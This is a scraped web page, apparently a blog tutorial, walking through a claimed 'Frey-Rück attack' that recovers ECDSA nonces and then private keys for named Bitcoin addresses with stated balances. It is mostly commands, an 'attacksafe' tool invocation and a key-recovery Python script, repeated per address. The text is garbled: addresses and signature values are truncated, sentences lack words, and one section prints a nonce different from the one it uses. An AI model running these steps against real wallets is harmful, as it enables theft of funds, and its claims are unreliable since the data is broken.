<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-69.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1028"></figure>
<p><code>PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
WIF: KyptrwaRhaF7xtRk7b65csxaU2aM
HEX: 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/a3.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-864"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><a href=" target="_blank" rel="noreferrer noopener"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-21-1024x459.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-867"></a><figcaption><strong><a href=" target="_blank" rel="noreferrer noopener">www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2</a></strong></figcaption></figure>
<p><code>BALANCE: $ 711.91</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><em>The potential threat of losing BTC coins lies in the critical of the Bitcoin blockchain transaction, so we strongly recommend that e always update the software and use only devices.</em></p></blockquote>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>With detailed cryptanalysis, we also found a critical in <strong><a href=" target="_blank" rel="noreferrer noopener">989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6</a></strong> for the same Bitcoin Address<strong><code> TXID:</code></strong><strong><a href=" target="_blank" rel="noreferrer noopener"></a></strong></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-19-1024x95.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-851"></figure>
<pre class="wp-block-code"><code>RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b5662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff0000000046a000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b5662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff0000000046a000
</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-70-1024x268.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1030"></figure>
<pre class="wp-block-code"><code>R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b5662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff0000000046a000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-71-1024x312.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1033"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-72-1024x454.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1035"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b5662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff0000000046a000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE)</code></p>
<p><code>K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href=" target="_blank" rel="noreferrer noopener"><strong>Let’s use the ECPy</strong></a> elliptic cur :</p>
<p>Now let’s run the script by specifying <code>secret key "K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-73-1024x94.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1039"></figure>
<p><code>(0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
point2gen = (0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-74.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1043"></figure>
<p><code>PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
WIF: KyptrwaRhaF7xtRk7b65csxaU2aM
HEX: 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/a3.png" alt="DDD" class="wp-image-864"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><a href=" target="_blank" rel="noreferrer noopener"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-21-1024x459.png" alt="DDD" class="wp-image-867"></a><figcaption><strong><a href=" target="_blank" rel="noreferrer noopener">www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2</a></strong></figcaption></figure>
<p><code>BALANCE: $ 711.91</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><strong><code>№4</code></strong></p>
<p>With detailed cryptanalysis, we also found a critical in Bitcoin Address:</p>
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">12Pm2muhQKu</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener"> href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-7.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-667"></figure>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-8.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-668"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">12Pm2muhQKu</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-22-1024x95.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-883"></figure>
<pre class="wp-block-code"><code>RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b09cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff0000000046a000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b09cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff0000000046a000
</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-75-1024x256.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1045"></figure>
<pre class="wp-block-code"><code>R = 0x9cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985ea8435078b7bb75e51ca6ae1c37aa30e1</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b09cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff0000000046a000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-76-1024x321.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1047"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-77-1024x453.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1049"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b09cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff0000000046a000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE):</code></p>
<p><code>K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href=" target="_blank" rel="noreferrer noopener"><strong>Let’s use the ECPy</strong></a> elliptic cur :</p>
<p>Now let’s run the script by specifying <code>secret key"K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-78-1024x92.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1051"></figure>
<p><code>(0x9cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0x9cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985ea8435078b7bb75e51ca6ae1c37aa30e1</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0x9cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f675
point2gen = (0x9cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e)
</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>12Pm2muhQKu</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
R = 0x9cff5d91438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985ea8435078b7bb75e51ca6ae1c37aa30e1
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-79.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1053"></figure>
<p><code>PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 12Pm2muhQKu
WIF: KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxzt
HEX: 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/a4.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-886"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-23-1024x450.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-889"></figure>
<p><code>BALANCE: $ 706.27</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><em>The potential threat of losing BTC coins lies in the critical of the Bitcoin blockchain transaction, so we strongly recommend that e always update the software and use only devices.</em></p></blockquote>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>With detailed cryptanalysis, we also found a critical in <strong><a href=" target="_blank" rel="noreferrer noopener">4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af</a></strong> for the same Bitcoin Address<strong><code> TXID:</code></strong><strong><a href=" target="_blank" rel="noreferrer noopener"></a></strong></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">12Pm2muhQKu</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-24-1024x94.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-894"></figure>
<pre class="wp-block-code"><code>RawTX = 0f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630beeb81b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093babd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff0000000046a000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 0f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630beeb81b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093babd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff0000000046a000
</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-81-1024x253.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1057"></figure>
<pre class="wp-block-code"><code>R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>0f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630beeb81b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093babd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff0000000046a000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-82-1024x307.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1059"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-83-1024x459.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1061"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
RawTX = 0f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630beeb81b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093babd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff0000000046a000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE):</code></p>
<p><code>K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href=" target="_blank" rel="noreferrer noopener"><strong>Let’s use the ECPy</strong></a> elliptic cur :</p>
<p>Now let’s run the script by specifying <code>secret key "K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-84-1024x89.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1062"></figure>
<p><code>(0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
point2gen = (0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d)
</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>12Pm2muhQKu</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-85.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1064"></figure>
